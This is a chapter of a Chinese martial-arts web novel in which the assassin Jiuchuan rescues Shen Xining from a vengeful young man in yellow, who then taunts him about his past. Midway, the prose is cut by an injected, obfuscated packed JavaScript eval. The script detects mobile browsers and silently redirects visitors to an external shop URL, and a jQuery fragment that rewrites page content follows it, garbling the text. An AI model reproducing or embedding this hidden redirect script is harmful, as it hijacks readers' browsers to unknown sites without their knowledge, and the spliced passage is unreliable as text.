黄衣少年满身是血,闷哼一声,瞳孔里满是仇恨与怒意看着来人:“你敢进来,我就杀了她!”
随之进来的黑衣人立马停下了脚步,在他身后,是一具又一具倒在地上死不瞑目的尸体,他们或睁大眼睛,或带着惊异之色,或满是得意,但无一例外的是,他们都被一剑封喉,身下满是艳红的鲜血,浓烈的血腥味刺鼻无比。
沈煕宁脸都白了。
九川目光冷如幽谭,像是在打量,又像是在看一个死人,“放了她!”
发现了能够拿捏他的东西,黄衣少年顿时哈哈大笑起来,笑得诡异,“放了她?可以,要么你自断一臂,要么你直接给自己的脖子一剑,否则,你就亲眼看着她死在你眼前吧!”
说完,黄衣少年便将剑身狠狠往下一压,冰凉刺破肌肤,血线出现,在白皙的脖颈上十分明显。
沈煕宁眼泪一下便出来了,浑身控制不住的发抖。
“九川……九川哥哥……”
九川目光并没有落在她身上,而是看着黄衣少年,声音阴寒:“你如果杀了她,我就会杀了你!”
黄衣少年哈哈一笑:“那么多人都死在你手上了,我不觉得我能有那个本事活着出去。”
他目光微低,落在沈煕宁身上:“瞧不出来,大名鼎鼎的孤情剑竟然会跟着一个没有丝毫内力武功的姑娘。”
他声音平和而残忍:“我想,这个姑娘对你应该很重要吧?”
“你说,我要是一剑杀了她,你会怎样?”
九川:“不重要,她不是我的什么人,你拿她威胁我,没有任何用处。”
沈煕宁眼泪一下便停住了,眼睛呆呆的看着他。
像是认命,又像是事实就是如此,她缓缓低下了眼眸,一声不吭。
黄衣少年:“是吗?”
说完,他便用力,似乎想要一剑直接划破沈煕宁的喉咙,沈煕宁喉咙控制不住的上下滚动,闭上眼睛,双腿颤颤发抖。
锋利的剑刃即将划破她的喉咙,也就此时,九川声音突然响起:“等等!”
黄衣少年动作停下,抬起头来咳一声,笑容越来越深:“我就是说,你不会无缘无故跟着一个姑娘,她对你很重要,你骗不过我的!”
九川皱紧了眉头,冷声:“你想怎样?”
“方才,我想你自断一臂,自尽于此,但现在,我改主意了,你死得太干脆了,对不起我死去的那些叔伯,对不起我爹。所以,我要慢慢的折磨你,然后再让你去死。”黄衣少年笑容越来越放肆,“现在,你给自己右手一剑,否则,我就立马送她去见如来佛祖。”
九川:“可以。”
话落间,长剑一闪,鲜血便滴滴答答的顺着剑尖直往下落,染红了地面,以及他的右手,修长的指节上满是鲜血淋漓。
沈煕宁瞪大眼睛,眼睛一眨不眨的看着这一幕,泪珠不停滚落,“九川……九川哥哥……”
右手臂传来剧痛,九川身形并未晃动,他目光落在沈熙宁身上,声音很平静:“我不想欠你的,你也不用觉得欠了我的。”
他没做好答应她的事情,这是他应得的。
黄衣少年叹了一声:“看不出来,原来孤情剑并不无情,这一幕,若是让外面的人知道了,恐怕要惊掉了下巴。只可惜,今日你必定死在我的手下。”
九川没有接这话:“你要我做的,我已经做到了,现在,你要如何才肯放了她?”
黄衣少年再笑:“现在,你再给自己左手壁一剑,然后再斩下你的右臂,再废了你自己的武功,我就放了这个姑娘,否则,她就得陪你一起去死了。”
九川:“只要我做了,你就会放了她?”
黄衣少年:“当然,我可是正义凛然的江湖人,自然是说到做到,和你这种恶贯满盈的魔头可不同。”
九川:“好,我答应你。”
说完,他便眉头皱着眉头,强忍住疼,将长剑从自己的右手臂里拔出来,再用右手缓缓攥住。
疼痛到底还是影响了他,他握着剑的手看着有些发抖。
黄衣少年笑容越来越深,沈煕宁睁大眼睛,水雾弥漫:“九川哥哥,不要……”
她不想因为自己而牵连伤害任何人,九川哥哥那么好,若是没了武功,在别人的追杀下,他还能活下来吗?
她不想害死他。
眼看着九川拿着长剑的手就要往左臂而去,沈煕宁咬咬牙,忽然抬手对身后的黄衣少年用力一撒,刺鼻而又浓烈的腥味传来,双眼剧痛,黄衣少年尖叫起来:“我的眼睛!”
他下意识要去捂住自己的眼睛,可又立马反应过来,自己还挟持着人,一旦让孤情剑找到机会将这姑娘夺过去,他必死无疑,于是便又重新抓紧了剑,手臂死死抓紧了她的肩膀,强睁着眼流泪,咬牙恨道:“你这……”
就那么一瞬间的破绽,立马被九川抓住。
“啊!”
手背传来剧痛,黄衣少年下意识松开手,长剑掉落,还未落地,沈熙宁的手臂便被一只大手迅速攥住,用力一拽,身体不受控制的往前倾去,几乎是刹那间,便被九川拉扯到了身后。
这一切发生的太快,不过是两三个呼吸的时间,她便已经由危转安,沈煕宁脑袋嗡嗡的,双手还在控制不住的发抖。
她手里拿的药粉其实是金疮药粉,方才想着九川哥哥可能会受伤,于是便揣在了袖中,没想到会因此救了自己一命。
她从来没有做过这样的事情,方才的那一下已经是用尽了她所有的勇气,本来,她都以为自己已经失败了,必死无疑,身后的那个人不会放过她的,谁知,柳暗花明又一村,平安了。
强烈的后怕与恐惧涌上心头,沈煕宁彻底忍不住自己内心的情绪,眼泪簌簌滑落。
九川没时间理会身后的姑娘哭得如何,早在将沈熙宁夺过来之时,他便反手一剑向黄衣少年刺去,用力之大,直接透过肩膀将他砰的一声,死死钉在了木板之上,动弹不了分毫。
“咳咳咳……”
黄衣少年接连呛出了好几口血,险些背过气去。
好不容易缓过神来,看着缓缓向他走来的九川,他咬紧牙关,“你别以为,你杀了我,你就能赢了,你错了,早在我出发之前,我就留下了一封信,如果我活着回去,那封信不会流传出去,如果我死了,那封信将会满江湖的流传,所有人都恨不得将你杀之而后快!”
“你想不想知道,那封信里写的是什么?”
九川皱眉,没有回答他的话。
黄衣少年笑得诡异:“你不想听,我却偏要告诉你,那封信里写的是我爹的传承,我告诉天下人,你杀我爹,夺了我爹的传承,他们为了我爹的传承,一定会杀了你。呵呵呵哈哈哈哈……”
“你这个低贱卑微的贱种,你会死的,你一定会死的!”
“所有人都想杀了你,你武功再高又如何,总有一日会死的,哈哈哈……”
“我在黄泉路上等着你,等着你!!”
黄衣少年脖颈青筋暴起,死死的盯着他,眼底满是刻骨铭心的恨意。
九川脚步微滞,低下头来看他,“何一刀是你让他来杀我的?”
黄衣少年:“是又如何?”
九川:“难怪,我会突然遇上他,我其实已经忘记了他的模样,只知道有一个人杀了拐老,但是我忘记了他的模样,我一直在找他。”
黄衣少年扯了扯唇角,冷笑:“忘记,你忘记了,我可没忘记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907482|212551||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我一直都在恨你。”
九川不解:“你为什么要恨我?”
黄衣少年:“你一个卑贱的乞丐,凭什么比我天赋更好,天赋更强?”
九川:“哦,你自己没用,为何怪我?”
黄衣少年:“……”
他呛咳几声,喉咙有腥味涌上,但强忍了下去,咬牙恨道:“你凭什么可以这样无所谓,你知不知道,如果不是你出现,我根本不会……”
九川忽然打断了他的话:“我不知道。”
他伸手握住剑柄,想要拔出长剑送他去死的时候,黄衣少年突然出声:“你难道就不想知道,你的爹娘是谁吗?”
九川动作猛滞,低头看去,冷声:“我只是一个乞丐,很小的时候就被拐老收养了,后来,拐老被你爹杀死了,我没有爹娘,也不想知道他们是谁!”
黄衣少年笑了起来:“你看,你怒了,你明明知道,但你不说出来。”
黄衣少年看向不远处依旧没从后怕中回过神来的沈煕宁:“是因为这个姑娘吗?你不想让她知道你卑劣的身世,不想让他知道你有多么的下贱对不对?”
九川目光死死盯着他,一字一句:“你信不信,我会马上要了你的命?”
黄衣少年哈哈笑了起来:“信,我怎么不信,江湖第一杀手的实力,我怎么可能会不知道,你可以杀了我,但是你堵得住天下人的嘴吗?”
“你杀父杀兄,不忠不孝,这样冷血无情的人,是不会有任何女人接受你的,你就是个臭水沟里的爬虫,是地里肮脏的老鼠,是……”
他话还未完,便有一个拳头狠狠打在了他脸上,剧痛传来,他呸的一声,吐出了三颗牙,“你杀了我啊,你杀,让这个姑娘也看看,你这个冷血无情的异类是怎么杀了自己的兄长的,你杀!!”
九川的拳头顿时滞在了原地,他直起身来,猛地拔出他身体里的剑,对准他的喉咙,“你想死,我成全你!”
黄衣少年不仅没有恐惧,反而笑得肆意,“你杀,你杀,我就看你是怎么杀我的,从小的时候,我就知道你是一个冷血无情的人,长大以后,你果然是一个冷血无情的杀手。”
“你这辈子,都不会有人会在意你的!”
九川:“我从不在意有没有人在乎我,也不在意别人如何看我,你算错了。”
就在他准备干脆利落一剑送他去西天的时候,沈煕宁的声音忽然自他身后响起,“九川哥哥,等等!”
“可不可以先不要杀他?”
九川动作猛地滞住,回头看她,“为什么?”
沈煕宁:“我……我就是有些好奇……”
沈煕宁现在已经收拾好了自己凌乱后怕的心绪,现在更多的,是好奇。
她对于两人之间的过去,有很多好奇。
她很好奇九川哥哥是为什么成为杀手的,为什么会杀了那个什么何一刀,为什么和眼前这个黄衣少年是兄弟……她心里的疑问太多了,而这个疑问,很显然,九川是不会自己告诉她的。
所以,她只能问现在还活着的另外一个人了。
九川的声音很冷:“你也想知道我的过去?”
沈煕宁犹豫的点了点头:“我,我就是有些好奇……”
九川:“一个人的好奇心如果太重,是会害死自己的。”
沈煕宁:“那……你会杀了我吗?”
九川:“……”
他忽然重新将剑插进黄衣少年的身体,将他再次钉在木板之上,眼里满是烦躁与怒意,“你自己找死我为什么救你?”
随后,转身出了房间,彻底没了踪迹。
沈煕宁看着他突然离去的背影,眨了下眼,随后收回目光,向黄衣少年走去。